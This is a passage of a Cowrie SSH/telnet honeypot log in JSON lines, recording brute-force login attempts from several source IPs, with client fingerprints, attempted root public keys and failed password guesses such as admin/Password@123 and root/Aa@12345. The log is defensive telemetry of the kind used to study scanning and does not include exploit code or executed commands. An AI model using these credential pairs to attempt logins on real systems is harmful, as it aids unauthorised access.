om","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:21.967502Z","src_ip":"178.20.210.186","session":"c0f62e358157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password@123","message":"login attempt [admin/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:22.368323Z","src_ip":"178.20.210.186","session":"c0f62e358157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:23.475518Z","src_ip":"178.20.210.186","session":"c0f62e358157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":58452,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8ef68e683e8","protocol":"ssh","message":"New connection: 200.39.46.41:58452 (10.17.0.5:22) [session: f8ef68e683e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:25.569104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:25.573504Z","src_ip":"200.39.46.41","session":"f8ef68e683e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:25.715113Z","src_ip":"200.39.46.41","session":"f8ef68e683e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@12345","message":"login attempt [root/Aa@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:26.313507Z","src_ip":"200.39.46.41","session":"f8ef68e683e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:30:27.458956Z","src_ip":"200.39.46.41","session":"f8ef68e683e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":43396,"dst_ip":"10.17.0.5","dst_port":22,"session":"6789b516d9c0","protocol":"ssh","message":"New connection: 200.39.46.41:43396 (10.17.0.5:22) [session: 6789b516d9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:31:56.398574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:31:56.402884Z","src_ip":"200.39.46.41","session":"6789b516d9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:31:56.549258Z","src_ip":"200.39.46.41","session":"6789b516d9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jing","password":"jing","message":"login attempt [jing/jing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:31:57.168841Z","src_ip":"200.39.46.41","session":"6789b516d9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:31:58.318623Z","src_ip":"200.39.46.41","session":"6789b516d9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":42442,"dst_ip":"10.17.0.5","dst_port":23,"session":"e54a6a791b1c","protocol":"telnet","message":"New connection: 167.71.238.254:42442 (10.17.0.5:23) [session: e54a6a791b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:19.939502Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":34436,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a62a4ed6767","protocol":"telnet","message":"New connection: 167.71.238.254:34436 (10.17.0.5:23) [session: 8a62a4ed6767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:42.803597Z"}
{"eventid":"cowrie.session.closed","duration":24.698907613754272,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:44.638297Z","src_ip":"167.71.238.254","session":"e54a6a791b1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.227.155.98","src_port":56494,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea2e05ac497f","protocol":"ssh","message":"New connection: 192.227.155.98:56494 (10.17.0.5:22) [session: ea2e05ac497f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.176530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.180818Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.226010Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:2e:09:7a:5f:a2:5e:d7:6e:5e:06:ee:a4:62:fa:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCIGUgvHb9/33nL7z0TTwXASzMHvNTCJuz6iLpdCKjjurEhHYNMpPpDa4jXDmkMkYx9dRkxReoe8TrYHcgGQhqTMNiP6+5hAEnl8xXYqs2Ur+khD0s+3nR6uRYpMIF+KpF8uc1jB/a9bfxsGP1gLvQitoqZ1KLbnkQbHEJetCaoNFqKihyFl9ZC5ch752updjJv/Ocxlqwjv8IIqQ0xeP0niJLbtGnDPvM8J5P0DTajHPsF/u0SkpVXZkx1nGx7NgMUBBVaIRDL/720Zm7cp36UqnWTrv5b2pa19XYAPOcXrIGftP0K1j/UtuY7bHxXfqKq4jCzgWRV6MaW+eqDiU+z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:2e:09:7a:5f:a2:5e:d7:6e:5e:06:ee:a4:62:fa:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.327917Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:2e:09:7a:5f:a2:5e:d7:6e:5e:06:ee:a4:62:fa:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCIGUgvHb9/33nL7z0TTwXASzMHvNTCJuz6iLpdCKjjurEhHYNMpPpDa4jXDmkMkYx9dRkxReoe8TrYHcgGQhqTMNiP6+5hAEnl8xXYqs2Ur+khD0s+3nR6uRYpMIF+KpF8uc1jB/a9bfxsGP1gLvQitoqZ1KLbnkQbHEJetCaoNFqKihyFl9ZC5ch752updjJv/Ocxlqwjv8IIqQ0xeP0niJLbtGnDPvM8J5P0DTajHPsF/u0SkpVXZkx1nGx7NgMUBBVaIRDL/720Zm7cp36UqnWTrv5b2pa19XYAPOcXrIGftP0K1j/UtuY7bHxXfqKq4jCzgWRV6MaW+eqDiU+z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.331336Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:81:75:93:fd:7e:e2:31:55:da:e8:14:d7:ea:13:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKMvIm1qUN2gU6PVCHUVeBLK17OXWGIqWW8E/ZdQcEUGQOp1vzvfN100bib2Sw48Bq4TZ8bWDAb41R02fuc0nOwCH6+bBTQlngW7ug1u+tjZ7XdqtHwdr5qfRjnHkvDSq4Lhfh079+rNe1owCLoH8FHDraU2L37pm6WjNhHZjBw6ad23r2YGnfFzXNG6C/1lJ1mxa1kxtaw2UtGx+jYSRaB+Hzurw4pdsnQcT8YVfYKItpJMhv+RZ2ySU2YF+5i5oNejI51o5TNpixYtHOEDyCyYcL2OEBM8Ds/d1eF8bijN+EhAorKSQUP6WkWu2bA58UrqX3X1/jsFkoTeb65W2p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:81:75:93:fd:7e:e2:31:55:da:e8:14:d7:ea:13:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.357054Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:81:75:93:fd:7e:e2:31:55:da:e8:14:d7:ea:13:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKMvIm1qUN2gU6PVCHUVeBLK17OXWGIqWW8E/ZdQcEUGQOp1vzvfN100bib2Sw48Bq4TZ8bWDAb41R02fuc0nOwCH6+bBTQlngW7ug1u+tjZ7XdqtHwdr5qfRjnHkvDSq4Lhfh079+rNe1owCLoH8FHDraU2L37pm6WjNhHZjBw6ad23r2YGnfFzXNG6C/1lJ1mxa1kxtaw2UtGx+jYSRaB+Hzurw4pdsnQcT8YVfYKItpJMhv+RZ2ySU2YF+5i5oNejI51o5TNpixYtHOEDyCyYcL2OEBM8Ds/d1eF8bijN+EhAorKSQUP6WkWu2bA58UrqX3X1/jsFkoTeb65W2p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.360976Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:41:c2:f4:08:ef:a1:4b:56:b1:e3:bd:67:9f:21:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKgCZ2kvMDrzukQbxBcSrAyiQRceYFVQLabGbN8kFr4sgUI4sBWx9VUnKoxh9ZzgJGJGusoSjbuUiWzZaBVDaYuf3axQpybxUIB95sXHDtjhgtTzfKuF7HJu5rLX6niqe1sLKOt9Oz/59fiGrkn4qmZUo3wkaU4OeJ/XWskJuu0UWZv9u6wMBrkiadlWZBJTaWNTXGIE6aRQLt4u4XlxKledFqjyYstLOw2RGaNTMpcWht5JP8octLTZMGij8fBHmk/k6s07eVNPRvplFB56VN65QWhfs02KBlJOiq1VBC4QdJuDHeH73TbVnSMxRqohPMXJWA0ctCVT/MRHs0A0BD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:41:c2:f4:08:ef:a1:4b:56:b1:e3:bd:67:9f:21:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.385822Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:41:c2:f4:08:ef:a1:4b:56:b1:e3:bd:67:9f:21:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKgCZ2kvMDrzukQbxBcSrAyiQRceYFVQLabGbN8kFr4sgUI4sBWx9VUnKoxh9ZzgJGJGusoSjbuUiWzZaBVDaYuf3axQpybxUIB95sXHDtjhgtTzfKuF7HJu5rLX6niqe1sLKOt9Oz/59fiGrkn4qmZUo3wkaU4OeJ/XWskJuu0UWZv9u6wMBrkiadlWZBJTaWNTXGIE6aRQLt4u4XlxKledFqjyYstLOw2RGaNTMpcWht5JP8octLTZMGij8fBHmk/k6s07eVNPRvplFB56VN65QWhfs02KBlJOiq1VBC4QdJuDHeH73TbVnSMxRqohPMXJWA0ctCVT/MRHs0A0BD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.389930Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:bc:99:9e:32:06:d1:2b:bb:e6:9e:41:d4:53:54:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgnwwy/AFkwfCJetcYMSnc1wfMVTPRN84kpZbkAGHa0wmh3dFdHM0i9gO/+9fUv2Z1nE0J/LzBP8KdXqppmfxyLA+hSMN4xH4AoOEiXqDG8NYHunjLOupzeaR8bWHZlDkIV9qgQdPQLUSKRMMbkfv3qOvXXqxciG2an0+4/TMyf4tqO+eWAe0Ko+oLOW+TA0JPULg+7Gsn9gFWL59zrm498MHel5slUA9kZO5sdhn6GIkH4edgQ453T3pbNsiY874dfHyLdlIe5ZJ8fwt7rgsX1svHPSCmDqNKZQ3JJUJu3zaKYLs7uVZ5e1vHdNiAxKmvvVcvdyWFbJHBNS/cbkDV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:bc:99:9e:32:06:d1:2b:bb:e6:9e:41:d4:53:54:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.415609Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:bc:99:9e:32:06:d1:2b:bb:e6:9e:41:d4:53:54:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgnwwy/AFkwfCJetcYMSnc1wfMVTPRN84kpZbkAGHa0wmh3dFdHM0i9gO/+9fUv2Z1nE0J/LzBP8KdXqppmfxyLA+hSMN4xH4AoOEiXqDG8NYHunjLOupzeaR8bWHZlDkIV9qgQdPQLUSKRMMbkfv3qOvXXqxciG2an0+4/TMyf4tqO+eWAe0Ko+oLOW+TA0JPULg+7Gsn9gFWL59zrm498MHel5slUA9kZO5sdhn6GIkH4edgQ453T3pbNsiY874dfHyLdlIe5ZJ8fwt7rgsX1svHPSCmDqNKZQ3JJUJu3zaKYLs7uVZ5e1vHdNiAxKmvvVcvdyWFbJHBNS/cbkDV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.419875Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:95:52:47:d3:61:d6:f4:10:cb:cc:e8:7d:92:90:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQZqHuE/33I96/dpRdJBFeBKNBrHXHUEw55ecVo+VTpL0K7C5cZiA2ePXqoouo3a9RsyagsC3i6C2QXSiGiHzgnm1AoSi7S3dB3dEr3SJAzTpoN3ep94Vz2YmDijQxnaTBCJf/i/5j4swfgT4vOzjBt+bi7DkRUSRPfEYVW0H/uxJo8gYWW+pzWontE35yjLwZQI8lQHtPvbTGqBZMhRX8FaYg5YW6+YVQwOe6AhsxD3Cr+gBA7bavCT1i/DiWakTm5CGo9k+9qVtssXW1HLd2PJdNbtiH8E4kEqnLXyD/TmOIRSPxSn892xJ0okbF47FcxiLwFUGntEwN24XCmzJt4f8ehUhNUn2p8jO8fy2aQCDky4M6jfNcDOGHCZK7DBAnu7kZNfuZDLEaxR2O/PNrA3S6Sr8BMcOOxYVHrNL26lMUqHjTC4fiKMC3OU2//TRSdzivBj7iJQ+cpXAAdJHsx5YB7+VKZjjFBGIrngphpQn6VHeY9XQuwnvBJPPBpi18pQv4vyUVacGPVoRPHpkfJNVqY+NZg3SXVhiVnaImLSw+lOrsZLsLSXM7QQIGZN442XNUCvudmf/IouWTpZO+84ohKDfiRnPZcCVZjKCgxVuiJ7vA0Nt6zVfa+SZ9jZUq+m31yxHPz+DrV83KY8qOnEbG/qgkdWj4sxZaUwpdEQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:95:52:47:d3:61:d6:f4:10:cb:cc:e8:7d:92:90:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.446269Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:95:52:47:d3:61:d6:f4:10:cb:cc:e8:7d:92:90:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQZqHuE/33I96/dpRdJBFeBKNBrHXHUEw55ecVo+VTpL0K7C5cZiA2ePXqoouo3a9RsyagsC3i6C2QXSiGiHzgnm1AoSi7S3dB3dEr3SJAzTpoN3ep94Vz2YmDijQxnaTBCJf/i/5j4swfgT4vOzjBt+bi7DkRUSRPfEYVW0H/uxJo8gYWW+pzWontE35yjLwZQI8lQHtPvbTGqBZMhRX8FaYg5YW6+YVQwOe6AhsxD3Cr+gBA7bavCT1i/DiWakTm5CGo9k+9qVtssXW1HLd2PJdNbtiH8E4kEqnLXyD/TmOIRSPxSn892xJ0okbF47FcxiLwFUGntEwN24XCmzJt4f8ehUhNUn2p8jO8fy2aQCDky4M6jfNcDOGHCZK7DBAnu7kZNfuZDLEaxR2O/PNrA3S6Sr8BMcOOxYVHrNL26lMUqHjTC4fiKMC3OU2//TRSdzivBj7iJQ+cpXAAdJHsx5YB7+VKZjjFBGIrngphpQn6VHeY9XQuwnvBJPPBpi18pQv4vyUVacGPVoRPHpkfJNVqY+NZg3SXVhiVnaImLSw+lOrsZLsLSXM7QQIGZN442XNUCvudmf/IouWTpZO+84ohKDfiRnPZcCVZjKCgxVuiJ7vA0Nt6zVfa+SZ9jZUq+m31yxHPz+DrV83KY8qOnEbG/qgkdWj4sxZaUwpdEQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.450311Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:53.476235Z","src_ip":"192.227.155.98","session":"ea2e05ac497f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.20.168","src_port":40600,"dst_ip":"10.17.0.5","dst_port":22,"session":"326df9bab93b","protocol":"ssh","message":"New connection: 23.95.20.168:40600 (10.17.0.5:22) [session: 326df9bab93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.357848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.363765Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh